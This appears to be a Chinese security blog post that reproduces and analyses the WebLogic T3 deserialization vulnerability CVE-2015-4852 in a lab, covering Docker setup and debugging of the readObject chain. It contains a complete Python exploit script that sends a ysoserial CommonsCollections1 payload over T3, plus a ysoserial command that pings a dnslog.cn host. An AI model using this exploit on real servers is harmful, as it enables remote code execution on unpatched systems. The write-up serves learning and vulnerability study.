作者:Narcher 时间:2024/5/1 分类:Vulnerability Analysis
前言
在很久之前就听说过weblogic的漏洞,但一直没有复现过,最近看了看网上的文章,感觉总是在一些我理解不了的步骤那里跳过,无奈只能自己写一篇来记录一下具体流程(当然,分析思路肯定还是看的网上大佬们的思路)
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。 weblogic详解 - 疯子110 - 博客园 (cnblogs.com)
实际上可以理解成比tomcat要6的充钱版?
正文
环境搭建
QAX-A-Team/WeblogicEnvironment: Weblogic环境搭建工具 (github.com)
直接使用上边的QAX-A-Team的脚本可能会有点问题,这里推荐看一下Drunkbaby大佬的文章:
CVE-2015-4852 WebLogic T3 反序列化分析 | Drunkbaby’s Blog (drun1baby.top)
至于远程调试环节,Drunkbaby佬说的不是很清楚,我就在这里补充一下:
在虚拟机终端输入以下命令:
1 2 3 4 5 6 7 8 9
| #进入容器 sudo docker exec -it weblogic1036jdk7u21 /bin/bash cd /u01/app/oracle/ cp -r middleware/ /root/WeblogicEnvironment-master/ exit #宿主机执行 sudo docker cp 7a84dc24433b:/root/WeblogicEnvironment-master . sudo chown -R root:root WeblogicEnvironment-master tar czvf newfile.tar.gz WeblogicEnvironment-master
|
之后将newfile.tar.gz复制到有IDEA的机子上,将其解压后,用IDEA打开WeblogicEnvironment-master\wlserver
目录,配置好SDK和Remote远程调试即可:
weblogic环境部署与远程调试 | 极客无影 (bleke.top)
上边这篇文章对之后的步骤讲的很详细,我就不重复了
漏洞复现
使用下列脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import socket import struct
def exp(host, port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (host, int(port)) data = "" try: sock.connect(server_address) headers = 't3 12.2.1\nAS:255\nHL:19\n\n'.format(port) sock.sendall(headers.encode()) data = sock.recv(2) f = open('./payload', 'rb') payload_obj = f.read() f.close() payload1 = bytes.fromhex("000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000") payload3 = bytes.fromhex("aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078") payload2 = payload_obj payload = payload1 + payload2 + payload3
payload = struct.pack('>I', len(payload)) + payload[4:]
sock.send(payload) data = sock.recv(4096) except socket.error as e: print (u'socket 连接异常!') finally: sock.close()
exp('192.168.58.128', 7001)
|
其中,payload是ysoserial的输出:
1
| java -jar ysoserial.jar CommonsCollections1 "ping jiznv3.dnslog.cn" > payload
|
之后直接运行查看dnslog:
命令执行成功
漏洞分析
我们将断点打在InboundMsgAbbrev类的readObject方法处:
之后运行脚本,查看断点处的状态,首先是var2的赋值,之后会进入case0,我们先看一下ServerChannelInputStream类的创建工作
实际上这个就是InboundMsgAbbrev类里的一个内部类,我们继续跟进到MsgAbbrevInputStream类的getServerChannel方法:
此时connection也是一个内部类weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@7a17787e
,用于weblogic服务器和JVM之间使用T3协议传输数据,之后跟进getChannel方法,可以看出大致上就是对T3协议传输数据的处理:
至于之后的getChannel方法,就是把socket传入数据的处理结果进行返回
之后便出来了,开始执行ServerChannelInputStream类的readObject方法,但这个类并未对readObject方法进行重写,而是触发了继承自其父类ObjectInputStream类的readObject方法:
看到这里自然就想起之前学CC链的时候,最终序列化和反序列化操作的编写了,我这里把它们拿过来:
1 2 3 4 5 6
| ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\Narcher\\IdeaProjects\\CC1.txt")); oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C:\\Users\\Narcher\\IdeaProjects\\CC1.txt")); ois.readObject();
|
所以说走到这步就可以停下来了,剩下的就是最基本的反序列化操作
说白了就是weblogic在处理T3协议传入的序列化数据时调用了ObjectInputStream类的readObject方法而又没加任何限制,从而导致的反序列化漏洞中CC链的执行
T3协议学习
T3 协议其实就是Weblogic RMI 调用时的通信协议,来看一下z_zz_zzz师傅的图:
此时我们回头看EXP脚本中的内容,发现在payload的前后都加上了一串数据,这其实就是T3协议的格式(后边的有没有好像无所谓?)
第一部分是请求包的头部,t3+weblogic客户端的版本号,第二部分是weblogic服务器的返回数据,HELO+weblogic服务器版本号,第三部分就是我们拼接的payload了
十六进制如下:
可以在00000078对应的行数看到十六进制的ac ed 00 05
,说明这后边跟的就是我们的Java序列化数据
进一步的学习推荐去看修复weblogic的JAVA反序列化漏洞的多种方法 | WooYun知识库 (xmd5.com)这篇文章
小结
要学的东西还有很多。。。。。。